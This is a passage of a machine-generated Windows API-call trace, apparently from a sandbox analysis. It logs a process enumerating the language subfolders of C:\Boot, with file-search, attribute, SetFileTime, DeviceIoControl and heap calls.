[0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.531] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.531] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.531] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85d48 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e9d8 [0034.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.531] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.532] GetLastError () returned 0x12 [0034.532] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.532] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.532] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.532] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.532] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.532] GetLastError () returned 0x12 [0034.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.532] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.532] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0034.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.532] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.532] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.532] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.532] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.532] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.532] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.532] NtClose (Handle=0x148) returned 0x0 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.533] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.533] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.533] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85d68 [0034.533] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e950 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.533] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.533] GetLastError () returned 0x12 [0034.533] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.533] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.533] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.533] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.533] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.533] GetLastError () returned 0x12 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.533] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.533] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.534] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0034.534] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.534] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.552] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.552] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.552] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.552] NtClose (Handle=0x180) returned 0x0 [0034.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.552] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.553] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.553] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85d88 [0034.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e8c8 [0034.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.553] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.553] GetLastError () returned 0x12 [0034.553] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.553] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.553] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.553] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.553] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.553] GetLastError () returned 0x12 [0034.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.553] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.554] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0034.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.554] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.554] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.554] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.554] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.554] NtClose (Handle=0x148) returned 0x0 [0034.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.554] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.555] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.555] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85da8 [0034.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7e840 [0034.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.555] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.555] GetLastError () returned 0x12 [0034.555] FindFirstFileExW (in: lpFileName="C:\\Boot\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.555] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.555] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, 